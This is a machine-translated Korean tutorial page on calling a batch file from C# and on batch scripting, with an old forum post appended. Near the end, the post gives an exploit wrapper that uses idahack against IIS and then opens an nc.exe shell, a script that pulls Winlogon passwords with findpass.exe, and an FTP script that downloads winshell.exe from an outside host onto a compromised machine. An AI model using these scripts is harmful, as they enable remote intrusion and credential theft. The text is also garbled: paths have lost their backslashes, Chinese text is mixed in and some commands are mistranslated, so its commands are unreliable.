> 백엔드 개발 > C#.Net 튜토리얼 > C#은 .bat 파일의 구현 코드를 호출합니다.

C#은 .bat 파일의 구현 코드를 호출합니다.

黄舟
풀어 주다: 2016-12-22 13:53:23
원래의
1875명이 탐색했습니다.

c# .bat 파일 호출
네임스페이스 사용: using System.Diagnostics;
System.Diagnostics.Process.Start(Server.MapPath("ah.bat"))
==== = ================================================= = ===============
확장자가 bat(또는 nt/2000/xp/2003의 경우 cmd)인 파일은 배치 파일입니다.
먼저, 배치 처리 파일은 이 파일의 각 줄은 DOS 명령입니다(대부분 DOS 프롬프트에서 실행하는 명령줄과 유사합니다). DOS나 Windows의 메모장에서 편집을 사용할 수 있습니다. 배치 파일을 생성하고 수정합니다.
둘째, 배치 파일은 조건문(if)과 프로세스 제어문(goto)을 통해 명령 실행 흐름을 제어할 수 있는 간단한 프로그램입니다. 배치 처리에서는 루프문(for)을 사용하여 Execute를 반복할 수도 있습니다. 명령. 물론 배치 파일의 프로그래밍 기능은 C 언어와 같은 프로그래밍 문에 비해 매우 제한적이고 매우 비표준적입니다. 일괄 처리의 프로그램 명령문은 DOS 명령 하나하나(내부 명령 및 외부 명령 포함)이며, 일괄 처리 능력은 주로 사용하는 명령에 따라 달라집니다.
셋째, 작성된 각 배치 파일은 DOS 외부 명령과 동일합니다. DOS 검색 경로(path)에 해당 디렉토리를 넣어 어디에서나 실행할 수 있습니다. 좋은 습관은 하드 디스크에 bat 또는 배치 디렉토리(예: C:BATCH)를 만든 다음 이 디렉토리에 작성한 모든 배치 파일을 넣어 경로에 c:batch가 설정되어 있는 한 , 어디서든 작성한 배치 프로그램을 실행할 수 있습니다.
넷째, DOS 및 Win9x/Me 시스템에서는 C: 드라이브의 루트 디렉터리에 있는 AUTOEXEC.BAT 배치 파일이 자동으로 실행되는 배치 파일로, 시스템이 시작될 때마다 이 파일이 자동으로 실행됩니다. 시스템 검색 경로 설정, 마우스 드라이버 및 디스크 캐시 로드, 시스템 환경 변수 설정 등과 같이 시작할 때마다 실행해야 하는 명령을 이 파일에 넣습니다. 다음은 Windows 98에서 실행되는 autoexec.bat의 예입니다.
@ECHO OFF
PATH C:WINDOWS;C:WINDOWSCOMMAND;C:UCDOS;C:DOSTools;C:SYSTOOLS;C:WINTOOLS;C: BATCH
LH SMARTDRV.EXE /X
LH DOSKEY.COM /INSERT
LH CTMOUSE.EXE
SET TEMP=D:TEMP
SET TMP=D:TEMP
일괄 처리
의 기능 간단히 말하면 일괄 처리 기능은 여러 명령을 자동으로 연속적으로 실행하는 것입니다.
가장 간단한 응용 프로그램은 다음과 같습니다. wps 소프트웨어를 시작할 때마다 실행해야 합니다(>이전 내용은 DOS 프롬프트를 나타냅니다).
C:>cd wps
C:WPS>
C:WPS>py
C:WPS>wbx
C:WPS>wps
WPS를 사용하기 전에 매번 실행시키면 번거로우시죠?
일괄 처리를 사용하면 이러한 번거로운 작업을 단순화할 수 있습니다. 먼저 다음 내용으로 runwps.bat 배치 파일을 작성합니다.
@echo off
c:
cdwps
spdos
py
wbx
wps
cd
앞으로는 wps를 입력할 때마다 runwps 배치 파일만 실행하면 됩니다.
자주 사용하는 명령어
echo, @, call, Pause, rem(팁: rem 대신 :: 사용)은 배치 파일에 가장 일반적으로 사용되는 명령어부터 살펴보겠습니다.
echo는 이 명령 뒤에 문자를 표시한다는 의미입니다.
echo off는 이 명령문 이후에 실행되는 모든 명령이 명령줄 자체를 표시하지 않는다는 의미입니다.
@는 echo off와 유사하지만 각 명령줄에 추가됩니다. 이 줄의 명령줄은 실행 시 표시되지 않음을 나타냅니다(현재 줄에만 영향을 미칠 수 있음).
call은 다른 배치 파일을 호출합니다(호출하지 않고 직접 다른 배치 파일을 호출하면 해당 배치 파일 실행 후 현재 파일로 돌아가서 현재 파일의 후속 명령을 실행할 수 없습니다).
pause 이 문장을 실행하면 배치 실행이 일시 중지되고 계속하려면 아무 키나 누르세요... 메시지가 화면에 표시됩니다.
rem은 다음 문자를 의미합니다. 이 명령은 설명 라인(comments)이며 실행되지 않고 향후 참조용으로만 사용됩니다(프로그램의 주석과 동일).
예제 1: edit를 사용하여 a.bat 파일을 편집하고 다음 내용을 입력한 후 c:a.bat로 저장합니다. 이 배치 파일을 실행한 후 루트 디렉터리의 모든 파일을 a.txt에 쓸 수 있습니다. UCDOS를 시작하고 WPS 및 기타 기능을 입력하십시오.
배치 파일 내용은 다음과 같습니다. 명령 설명:
@echo off 후속 명령줄과 현재 명령줄을 표시하지 않습니다.
dir c:*.* >a.txt 파일 목록 작성 c 드라이브를 .txt로
call c:ucdosucdos.bat call ucdos
echo hello "Hello" 표시
일시 중지하고 키가 계속될 때까지 기다림
rem wps 실행 준비 🎜>cd ucdos ucdos 디렉토리 입력
wps wps 실행
배치 파일의 매개변수
배치 파일은 C 언어 함수(DOS 명령의 명령줄 매개변수와 동일)와 같은 매개변수를 사용할 수도 있습니다. 매개변수 표시기 "%"입니다.
%[1-9]는 매개변수를 나타냅니다. 매개변수는 배치 파일 실행 시 파일 이름 뒤에 추가되는 공백(또는 탭)으로 구분된 문자열을 나타냅니다. 변수의 범위는 %0부터 %9까지 가능하며, %0은 배치 명령 자체를 나타내고, 기타 매개변수 문자열은 %1부터 %9까지 순서대로 표시됩니다.
예 2: C:의 루트 디렉터리에 f.bat라는 일괄 처리 파일이 있습니다. 내용은 다음과 같습니다.
@echo off
format %1
C:> f a:
그러면 f.bat를 실행할 때 %1은 a:를 의미하므로 %1 형식은 a: 형식과 동일하므로 위 명령을 실행하면 실제 실행은 형식 a:
예 3: C: 루트 디렉터리 배치 파일 이름은 t.bat이고 내용은 다음과 같습니다.
@echo off
type %1
type %2
그런 다음 C:>t a를 실행합니다. txt b.txt
%1: a.txt를 의미
%2: b.txt를 의미
따라서 위 명령은 a.txt 및 b.txt 파일의 내용을 순차적으로 표시합니다.
특수 명령
goto choice for가 배치 파일에서 상대적으로 고급 명령인 경우 이러한 사용에 능숙하다면 배치 파일 전문가입니다.
1. If는 지정된 조건이 충족되는지 여부를 확인하여 다른 명령을 실행하도록 결정하는 데 사용되는 조건문입니다. 세 가지 형식이 있습니다:
1. if [not] "parameter" == "string" 명령이 실행됩니다.
매개변수가 지정된 문자열과 동일한 경우(같지 않음을 의미함, 아래와 같음) 조건이 true이면 명령을 실행하고, 그렇지 않으면 다음 문장을 실행합니다.
예: if "%1"=="a" 형식 a:
2. if [not]exist [경로] 파일 이름 실행할 명령
지정된 파일이 있는 경우 조건은 다음과 같습니다. true이면 명령을 실행하고, 그렇지 않으면 다음 문장을 실행합니다.
예: c:config.sys가 있으면 c:config.sys를 입력하세요.
는 c:config.sys 파일이 있으면 해당 내용이 표시된다는 의미입니다.
3. if errorlevel 실행할 명령
많은 DOS 프로그램은 프로그램의 결과(또는 상태)를 나타내기 위해 숫자 값을 반환합니다. 반환 값은 다양한 반환 값을 기반으로 다양한 명령을 실행하도록 결정합니다(반환 값은 가장 큰 것에서 가장 작은 순서로 정렬되어야 함). 반환 값이 지정된 숫자와 같으면 조건이 true이고 명령이 실행되고, 그렇지 않으면 다음 문장이 실행됩니다.
예를 들어, errorlevel 2 goto x2
2. 여기서 goto 배치 파일을 실행하면 goto가 지정한 레이블로 이동합니다(레이블은 label이고 레이블은 다음으로 정의됩니다: 뒤에 a가 옵니다). 표준 문자열) goto 문은 일반적으로 다른 조건에 따라 다른 명령 그룹을 실행하기 위해 함께 사용하는 것과 동일합니다.
예:
goto end
:end
echo this is the end
레이블은 ":string"으로 정의되며 해당 레이블이 있는 줄은 실행되지 않습니다.
3. choice 이 명령을 사용하면 사용자가 문자를 입력(선택용)하여 사용자의 선택에 따라 다른 오류 수준을 반환하고, if errorlevel과 협력하여 사용자 선택에 따라 다른 명령을 실행할 수 있습니다.
참고: 선택 명령은 DOS 또는 Windows 시스템에서 제공되는 외부 명령입니다. 버전에 따라 선택 명령의 구문이 약간 다를 수 있습니다. 사용법을 확인하세요.
선택 명령 구문(이 구문은 Windows 2003의 선택 명령 구문이며 다른 선택 버전의 명령 구문도 이와 유사합니다.):
CHOICE [/C 선택] [/N] [/ CS] [/ T 시간 초과 /D 선택] [/M 텍스트]
설명:
이 도구를 사용하면 사용자가 선택 목록에서 항목을 선택하고 선택한 항목의 인덱스를 반환할 수 있습니다.
매개변수 목록:
/CChoices는 생성할 선택 목록을 지정합니다. 기본 목록은 "YN"입니다.
/N 프롬프트에서 옵션 목록을 숨깁니다. 이전 메시지가 표시되고
옵션은 여전히 ​​활성화되어 있습니다.
/CS에서는 대소문자를 구분하여 선택할 수 있습니다. 기본적으로 이 도구
는 대소문자를 구분하지 않습니다.
/T timeout 기본 선택을 하기 전에 일시 중지할 시간(초)입니다. 허용되는 값은 0
부터 9999까지입니다. 0을 지정하면 일시 정지가 없으며 기본 옵션
이 선택됩니다.
/D 선택은 nnnn초 이후의 기본 옵션을 지정합니다. 문자는 /C 옵션
으로 지정된 선택 항목 세트에 있어야 하며 동시에 nnnn은 /T로 지정되어야 합니다.
/M text는 프롬프트 앞에 표시할 메시지를 지정합니다. 지정하지 않으면 도구는
프롬프트만 표시합니다.
/? 도움말 메시지를 표시합니다.
참고:
ERRORLEVEL 환경 변수는 선택 세트에서 선택한 키 인덱스로 설정됩니다. 나열된 첫 번째 선택 항목
은 1을 반환하고 두 번째 선택 항목은 2를 반환합니다.
사용자가 누른 키가 유효한 선택이 아닌 경우 도구에서 경고가 울립니다. 도구가 오류 조건을 감지하면
ERRORLEVEL 값 255를 반환합니다. 사용자가 Ctrl+Break 또는 Ctrl+C를 누르면 도구는 0을 반환합니다.
ERRORLEVEL 값입니다. 일괄 프로그램에서 ERRORLEVEL 매개변수를 사용하는 경우 매개변수를 내림차순
으로 정렬합니다.
예:
CHOICE /?
CHOICE /C YNC /M "확인하려면 Y를, 취소하려면 N을, 취소하려면 C를 누르세요." y
CHOICE /C ab /M "옵션 1에는 a를 선택하고, 옵션 2에는 b를 선택하세요."
CHOICE /C ab /N /M "옵션 1에는 a를 선택하고, 옵션에는 b를 선택하세요. 2." "
명령을 실행하는 경우: CHOICE /C YNC /M "확인하려면 Y를, 취소하려면 N을, 취소하려면 C를 누르세요. "
화면에 다음이 표시됩니다.
확인하려면 Y를 누르세요. , 아니오. N를 누르시고, 취소하시려면 C를 누르세요. [Y,N,C]?
예: test.bat의 내용은 다음과 같습니다(if errorlevel을 사용하여 반환 값을 판단할 때 반환 값을 기준으로 높은 순으로 정렬해야 합니다). 🎜>@echo off
선택 /C dme /M "defrag,mem,end"
오류 수준 3인 경우 종료로 이동
오류 수준 2인 경우 mem으로 이동
오류 수준 1인 경우 조각 모음으로 이동
:defrag
c:dosdefrag
goto end
:mem
mem
goto end
:end
echo good bye
이 일괄 프로세스가 실행된 후 "defrag,mem ,end[D,M, E]?", 사용자는 d me e를 선택할 수 있으며 if 문은 사용자의 선택에 따라 판단을 내립니다. d는 defrag라는 레이블이 붙은 프로그램 세그먼트의 실행을 의미하고, m은 mem이라는 레이블의 프로그램 세그먼트의 실행을 의미합니다. e는 end라는 라벨이 붙은 프로그램 세그먼트의 실행을 나타냅니다. 각 프로그램 세그먼트의 끝에서 goto end를 사용하여 프로그램을 end 라벨로 점프한 다음 프로그램에 작별 인사가 표시되고 일괄 처리가 종료됩니다.
4. 루프 명령의 경우 조건이 충족되는 한 동일한 명령을 여러 번 실행합니다.
구문:
파일 집합의 각 파일에 대해 특정 명령을 실행합니다.
FOR %%variable IN (set) DO 명령 [command-parameters]
%%variable은 단일 문자로 대체될 수 있는 매개변수를 지정합니다.
(set)은 파일 또는 파일 그룹을 지정합니다. 와일드카드 문자를 사용할 수 있습니다.
명령은 각 파일에 대해 실행할 명령을 지정합니다.
command-parameters
특정 명령에 대한 매개변수 또는 명령줄 스위치를 지정합니다.
예를 들어 배치 파일에 다음 줄이 있습니다.
for %%c in (*.bat *.txt) do type %%c
명령줄은 bat로 끝나는 모든 파일을 표시하고 현재 디렉터리의 txt 확장자를 가진 파일의 내용입니다.
일괄 처리 예시
1. IF-EXIST
1)
먼저 메모장을 사용하여 C:에 test1.bat 배치 파일을 만듭니다.
@ echo off
IF EXIST AUTOEXEC.BAT TYPE AUTOEXEC.BAT
IF NOT EXIST AUTOEXEC.BAT ECHO AUTOEXEC.BAT가 존재하지 않습니다.
그런 다음 실행하세요.
C:>TEST1.BAT
C: AUTOEXEC.BAT 파일이 있으면 해당 내용이 표시됩니다. 파일이 없으면 일괄 처리에서 파일이 존재하지 않는다는 메시지를 표시합니다.
2)
그런 다음 다음 내용으로 test2.bat 파일을 만듭니다.
@ECHO OFF
IF EXIST %1 TYPE %1
IF NOT EXIST %1 ECHO %1이(가) 존재하지 않습니다.
실행:
C:>TEST2 AUTOEXEC.BAT
이 명령의 결과는 위와 동일합니다.
지침:
(1) IF EXIST는 파일이 존재하는지 테스트하는 데 사용됩니다. 형식은
IF EXIST [경로 + 파일 이름] 명령
(2) test2.bat의 %1입니다. 파일은 매개변수입니다. DOS에서는 배치 파일에 %1~%9의 9개 배치 매개변수 정보를 전달할 수 있습니다(%0은 test2 명령 자체를 나타냄). 이는 실제 매개변수와 형식 매개변수 간의 관계와 약간 비슷합니다. 프로그래밍. %1은 형식 매개변수이고 AUTOEXEC.BAT는 실제 매개변수입니다.
3) 다음 내용을 포함하는 TEST3.BAT라는 파일을 만듭니다.
@echo off
IF "%1" == "A" ECHO XIAO
IF "%2 " == "B" ECHO TIAN
IF "%3" == "C" ECHO XIN
실행하는 경우:
C:>TEST3 A B C
화면에 표시되는 내용:
XIAO
TIAN
XIN
실행하는 경우:
C:>TEST3 A B
화면에
XIAO
TIAN
이 표시됩니다. 이 명령을 실행하는 동안 DOS는 매개변수 %3에 대한 빈 문자열입니다.
2. IF-ERRORLEVEL
다음 내용으로 TEST4.BAT를 생성합니다:
@ECHO OFF
XCOPY C:AUTOEXEC.BAT D:IF ERRORLEVEL 1 ECHO 파일 복사 실패
IF ERRORLEVEL 0 ECHO 파일 복사 성공
그런 다음 파일 실행:
C:>TEST4
파일이 성공적으로 복사되면 화면에 "파일 복사 성공"이 표시되고, 그렇지 않으면 "파일 복사 실패"가 표시됩니다. .
IF ERRORLEVEL은 이전 DOS 명령의 반환 값을 테스트하는 데 사용됩니다. 이는 이전 명령의 반환 값일 뿐이며 반환 값은 가장 큰 것부터 작은 것 순으로 판단되어야 합니다.
따라서 다음 배치 파일이 잘못되었습니다.
@ECHO OFF
XCOPY C:AUTOEXEC.BAT D:
IF ERRORLEVEL 0 ECHO 파일이 성공적으로 복사되었습니다.
IF ERRORLEVEL 1 ECHO 복사본을 찾을 수 없습니다.
IF ERRORLEVEL 2 ECHO 사용자가 ctrl-c를 통해 복사 작업을 중단합니다.
IF ERRORLEVEL 3 ECHO 사전 설정 오류로 인해 파일 복사 작업이 차단됩니다.
IF ERRORLEVEL 4 ECHO 복사 과정 중 디스크 쓰기 오류
복사 성공 여부에 관계없이 다음과 같습니다.
복사된 파일을 찾을 수 없습니다.
사용자가 ctrl-c를 통해 복사 작업을 종료합니다.
사전 설정된 오류로 인해 파일 복사 작업이 방지됩니다.
디스크 쓰기 오류
가 복사 과정 중에 표시됩니다.
다음은 여러 가지 일반적인 명령의 반환 값과 그 의미입니다.
backup
0 백업 성공
1 백업 파일을 찾을 수 없음
2 파일 공유 충돌로 인해 백업이 완료되지 않습니다
3 사용자가 ctrl-c를 사용하여 백업을 중단했습니다.
4 치명적인 오류로 인해 백업 작업이 중단되었습니다.
diskcomp
0 디스크가 동일하게 비교됩니다.
1 디스크가 다르게 비교됩니다.
2 사용자가 ctrl-c를 사용하여 비교 작업을 중단했습니다.
3 치명적인 오류로 인해 비교 작업이 중단되었습니다.
4 사전 설정 오류로 비교가 중단되었습니다.
diskcopy
0 디스크 복사 작업이 성공했습니다.
1 치명적이지 않은 디스크 읽기/쓰기 오류
2 사용자가 ctrl -c를 통과했습니다. 복사 작업 종료
3 치명적인 처리 오류로 인해 디스크 복사가 중단되었습니다.
4 사전 설정 오류로 인해 복사 작업이 차단되었습니다.
format
0 포맷 성공
3 사용자가 ctrl-c 포맷 처리를 통해 포맷을 중단했습니다.
4 치명적인 처리 오류로 인해 포맷이 중단되었습니다.
5 "Proceed with format (y/n)?" 프롬프트에서 n에서 종료
xcopy
0 파일을 성공적으로 복사했습니다.
1 복사 파일을 찾을 수 없습니다.
2 사용자가 ctrl-c를 통해 복사 작업을 종료했습니다.
4 사전 설정 오류로 인해 파일 복사 작업이 차단되었습니다.
5 복사 과정 중 디스크 쓰기 오류
3. IF STRING1 == STRING2
TEST5.BAT를 생성하면 파일 내용은 다음과 같습니다:
@echo off
IF "%1" == "A" 형식AT A:
실행:
C:>TEST5 A
A: 드라이브를 포맷할지 여부를 나타내는 메시지가 화면에 나타납니다.
참고: 매개변수가 비어 있는 것을 방지하기 위해 문자열은 일반적으로 큰따옴표로 묶입니다(또는 다른 기호, 예약된 기호는 사용할 수 없다는 점에 유의하세요).
예: if [%1]==[A] 또는 if %1*==A*
5. GOTO
TEST6.BAT를 생성하면 파일 내용은 다음과 같습니다.
@ 에코 꺼짐
존재하는 경우 C:AUTOEXEC.BAT GOTO _COPY
GOTO _DONE
:_COPY
COPY C:AUTOEXEC.BAT D:
:_DONE
참고:
(1 ) 레이블이 ASCII 문자 콜론 ":" 앞에 있으면 콜론과 레이블 사이에 공백이 있어서는 안 됩니다.
(2) 라벨의 명명 규칙은 파일 이름의 명명 규칙과 동일합니다.
(3) DOS는 최대 8자 길이의 레이블을 지원합니다. 두 레이블을 구별할 수 없는 경우 가장 가까운 레이블로 이동합니다.
6. FOR
C:TEST7.BAT를 생성하면 파일 내용은 다음과 같습니다.
@ECHO OFF
FOR %%C IN (*.BAT *.TXT *.SYS) DO TYPE %%C
실행:
C:>TEST7
실행 후 C: 드라이브의 루트 디렉터리에 있는 BAT, TXT, SYS 확장자를 가진 모든 파일의 내용이 화면에 표시됩니다. (숨김 파일 제외) .
____________________________________________________________________________________________
[패키지 및 다운로드]                                                                  logleg는 다운로드용 패키지에 포함되어 있습니다. (포럼을 보려면 여기를 클릭하세요)
--------- ------ ------------------ ---------
bluekylin 게시일: 2004/11/24 10:25pm
Win2000 명령줄 일괄 처리 BAT 파일 기술

————————— ——————————————— ———————————————————
글 구조
1. -in 명령어
2. 환경 변수의 개념
3. 내장된 특수 기호(실제 사용 시 주의)
4. 간단한 배치 파일 개념
5. .txt
6. 첨부 2 샘플.bat
######## ####################### ################### ############
1. 모든 내장 명령에 대한 도움말 정보
# ##################### ########################## ###############
버전
cmd /?
설정 /?
rem /?
에코 /?
/?
for /? >call /?
/?를 입력하세요.
findstr /? copy /?
______________________________________________________________
다음은 위의 모든 도움말을
echo ver >tmp.txt
ver >>tmp.txt
echo cmd /? ;>tmp.txt
cmd /? >>tmp.txt
echo rem /? >>tmp.txt
rem /? >tmp.txt
if /? >>tmp.txt
if /? >tmp.txt
echo goto /? >>tmp.txt
goto /?
/?에 대한 에코 >>tmp.txt
/?>>tmp.txt에 대한
에코 시프트 /? >>tmp.txt 
shift /? >>tmp.txt 
에코콜 /? >>tmp.txt 
전화 /? >>tmp.txt 
에코 유형 /? >>tmp.txt 
/?를 입력하세요. >>tmp.txt 
에코 찾기 /? >>tmp.txt 
/를 찾으세요? >>tmp.txt 
echo findstr /? >>tmp.txt 
findstr /? >>tmp.txt 
에코 복사/? >>tmp.txt 
복사 /? >>tmp.txt 
tmp.txt를 입력하세요.
______________________________________________________ 
########################## ##################################### 
2.
####################################### ######################## 
___________________________________________________________________________________________ 
C:Program Files>set
ALLUSERSPROFILE=C:Documents and SettingsAll 사용자 
CommonProgramFiles=C:Program Files공통 파일 
COMPUTERNAME=FIRST 
ComSpec=C:WINNTsystem32cmd.exe 
NUMBER_OF_PROCESSORS=1 
OS=Windows_NT 
Os2LibPath=C:WINNTsystem32os2dll; 
경로=C:WINNTsystem32;C:WINNT;C:WINNTsystem32WBEM
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
PROCESSOR_ARCHITECTURE=x86 
PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 5, GenuineIntel 
PROCESSOR_LEVEL=6 
PROCESSOR_REVISION=0605 
ProgramFiles=C:프로그램 파일 
PROMPT=$P$G
SystemDrive=C: 
SystemRoot=C:WINNT 
TEMP=C:WINNTTEMP 
TMP=C:WINNTTEMP 
USERPROFILE=C:문서 및 설정기본 사용자 
windir=C:WINNT
_______________________________________________________________ 
경로: 表示可执行程序的搜索路径. 나는 到 
%windir%system32를 복사했습니다. 这个目录里面. 一般就可以自动搜索到. 
설명: mychenxu.exe %windir%system32를 복사하세요. 
使用点(.) 便于一目了然 
对环境变weight的引用使用(英文模式,半角)双引号 
%windir% 变weight 
%%windir%% 二次량을 사용합니다. 공공의 즐거움. 你应该school会使用双引号("") 来表示比如对porgram file文件夹操작 
C:>dir p* 
C: 的目录 
2000-09-02 11:47 2,1 64 PDOS. DEF
1999-01-03 00:47

프로그램 파일 
1 个文件 2,164 字节 
1 个目录 1,505,997,824 可用字节 
C:>cd pro* 
C:Program Files> 
C:> 
C:>cd "프로그램 파일" 
C:프로그램 파일> 
########################################### ###################### 
3. 内置的特殊符号(实际使用中间注意避开) 
################################ #################################
微软里面内置了下列字符不能够在创建的文件name中间使用 
con nul aux / | || && ^ > < * 
공백을 포함하여 대부분의 문자를 변수 값으로 사용할 수 있습니다. 특수 문자 <, >, |, & 또는 ^를 사용하는 경우 해당 문자 앞에 이스케이프 문자(^) 또는 따옴표를 붙여야 합니다. 따옴표를 사용하는 경우 등호 뒤의 모든 항목이 값으로 간주되므로 값의 일부로 포함됩니다. 다음 예를 고려하세요. 
(大의미: 要么你使用^작为前导字符表示.或者就只有使用双引号""了) 
변수 값 new&name을 만들려면 다음을 입력하세요. 
set varname=new^ &name 
변수 값 "new&name"을 생성하려면 다음을 입력하세요. 
set varname="new&name" 
앰퍼샌드(&), 파이프(|) 및 괄호( )는 앞에 와야 하는 특수 문자입니다. 인수로 전달할 때 이스케이프 문자(^) 또는 따옴표를 사용합니다. 
'퍼시픽 림' 찾기 < trade.txt > nwtrade.txt 
IF EXIST 파일 이름. (del 파일 이름.) ELSE 에코 파일 이름. 누락됨 
> 创建一个文件 
>> 追加到一个文件后면 
@ 前缀字符.表示执行时本行可以使用 echo off关闭显示 
^ 对特殊符号( > ; &) 이전의 글자. 第一个只是显示aaa 第二个输ude文件bbb 
echo 123456 ^> 아아아 
에코 1231231 > bbb 
() 包含命令 
(echo aa & echo bb) 
, 공백과 동일한 기본 구분 기호
: 레이블 기능
| 파이프라인 작업
& 사용법: 첫 번째 명령 및 두 번째 명령 [& 세 가지 명령 ...]
이 방법을 사용하면 명령의 성공 여부에 관계없이 동시에 여러 명령을 실행할 수 있습니다.
dir c:*.exe & dir d:*.exe & dir e :*.exe
&& 사용법: 첫 번째 명령 && 두 번째 명령 [&& 세 번째 명령...]
실행 오류가 있는 명령이 발생하면 다음 명령은 오류가 없으면 실행되지 않습니다. 모든 명령을 완료합니다.
|| 사용법: 첫 번째 명령 || 두 번째 명령 [|| 세 번째 명령...]
올바른 명령이 실행되면 다음 명령이 실행되지 않습니다. 올바른 명령이 나타나지 않으면 모든 명령이 실행됩니다.
공통 구문 형식
IF [NOT] ERRORLEVEL 숫자 명령 para1 para2
IF [NOT] string1==string2 명령 para1 para2
IF [ NOT] EXIST 파일 이름 명령 para1 para2
IF EXIST 파일 이름 명령 para1 para2
IF NOT EXIST 파일 이름 명령 para1 para2
IF "%1"=="" goto END
IF "% 1"== "net" goto NET
IF NOT "%2"=="net" goto OTHER
IF ERRORLEVEL 1 명령 para1 para2
IF NOT ERRORLEVEL 1 명령 para1 para2
FOR /L %%i IN (시작,단계,끝) DO 명령 [명령 매개변수] %%i
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do echo %i % j %k
알파벳 순서로 매개변수를 취하세요.
eol=c - 줄 끝 주석 문자를 나타냅니다(한 개만)
skip=n - 개수를 나타냅니다. 파일 시작 부분에서 행이 무시됩니다.
delims=xxx - 구분 기호 세트를 나타냅니다. 이는 공백과 탭에 대한 기본 구분 기호 세트를 대체합니다.
######################################## ## ###################
4. 단순 배치 파일 개념
############# #### ####################################### ######
echo는 test > a.txt입니다.
a.txt를 입력하세요.
echo는 test 11111입니다. >> a.txt
a.txt를 입력하세요.
echo 이것은 test 22222입니다. ; a.txt
a.txt를 입력하세요
두 번째 에코는 추가하는 것입니다.
세 번째 에코는 a.txt를 지우고 a.txt를 다시 만듭니다.
netstat -n | find "3389"
그러면 3389에 연결된 모든 사용자의 IP가 나열됩니다.
______________test.bat______________________________________________________________
@echo please care
echo plese care 1111
echo plese care 2222
echo plese care 3333
@ echo please care
@echo plese care 1111
@echo plese care 2222
@echo plese care 3333
rem은 주석문을 표시하지 않습니다. 이 줄은
@ rem은 주석문을 표시하지 않습니다. , 이 줄은
@ifexist%windir%system32find.exe(echo Find find.exe !!!) else(echo ERROR: Not find find.exe)
@ifexist%windir%system32fina를 표시하지 않습니다. exe (echo Find fina.exe!!!) else (echo ERROR: Not find fina.exe)
_____________________________________________________________________________
ida 원격 오버플로인 특정 idahack 프로그램을 예로 들어보겠습니다. 간단합니다.
_____ida.bat_______________________________________________
@rem 버전 1.0
@존재하지 않는 경우 %windir%system32idahack.exe echo "오류: idahack.exe를 찾지 마세요."
@존재하지 않는 경우 %windir% system32nc. exe echo "오류: nc.exe를 찾지 마세요"
@if "%1" =="" goto USAGE
@if NOT "%2" =="" goto SP2
:start
@echo 이제 시작하세요...
@ping %1
@echo Chinese win2k:1 sp1:2 sp2:3
idahack.exe %1 80 1 99 >%temp%_tmp
@ echo "prog 종료 코드 [%errorlevel%] idahack.exe"
@type %temp%_tmp
@find "행운을 빌어요 :)" %temp%_tmp
@echo "prog 종료 코드 [ %errorlevel %] find [goog luck]"
@if NOT errorlevel 1 nc.exe %1 99
@goto END
:SP2
@idahack.exe %1 80 %2 99 %temp %_tmp
@type %temp%_tmp
@find "행운을 빌어요 :)" %temp%_tmp
@if NOT errorlevel 1 nc.exe %1 99
@goto END
: 사용법
@echo 예: ida.bat IP
@echo 예: ida.bat IP (2,3)
:END
_____ida.bat__END_________________
두 번째 파일로 넘어가겠습니다.
대부분의 사람들이 알 수 없다고 합니다. 사실 정확한 정보를 입력하지 않았습니다.
___________fpass.bat______________________________
@rem ver 1.0
@if NOT 존재 %windir% system32findpass.exe echo "오류: findpass.exe를 찾지 마세요"
@if NOT 존재 %windir%system32pulist.exe echo "오류: pulist.exe를 찾지 마세요."
@echo start....
@echo ____________________________________
@if "%1"=="" goto 사용법
@findpass.exe %1 %2 %3 >> %temp%_findpass.txt
@echo "prog 종료 코드 [%errorlevel%] findpass.exe"
@type %temp% _findpass.txt
@echo ____________________________여기__pass★★★★★★★★
@ipconfig /all >>%temp%_findpass.txt
@goto END
:USAGE
@pulist .exe >%temp%_pass.txt
@findstr.exe /i "WINLOGON Explorer internat" %temp%_pass.txt
@echo "예: fpass.bat %1 %2 %3 %4 ! !!"
@echo "사용법: findpass.exe DomainName UserName PID-of-WinLogon"
:END
@echo " fpass.bat %COMPUTERNAME% %USERNAME% 관리자 "
@echo " fpass.bat end [%errorlevel%] !"
_______________fpass.bat___END_______________________________________________________________
다른 하나는 Telnet을 통해 원격 호스트에 로그인했다는 것입니다. 파일 업로드 방법(win)
다음 사항을 입력하세요. 물론, 모두 복사하셔도 됩니다.

echo open 210.64.x.4 3396>w 
echo read>>w 
echo read>>w 
echo cd winnt>>w 
echo binary>>w 
echo pwd >>w 
echo get wget.exe >>w 
echo get winshell.exe >>w 
echo get any.exe >>w 
echo quit >>w 
ftp -s:w
로그인 후 복사

위 내용은 .bat 파일을 호출하는 내용입니다. c#. 더 많은 관련 내용을 보려면 PHP 중국어 웹사이트(m.sbmmt.com)를 주목하세요!


관련 라벨:
원천:php.cn
본 웹사이트의 성명
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.
최신 이슈
인기 튜토리얼
더>
최신 다운로드
더>
웹 효과
웹사이트 소스 코드
웹사이트 자료
프론트엔드 템플릿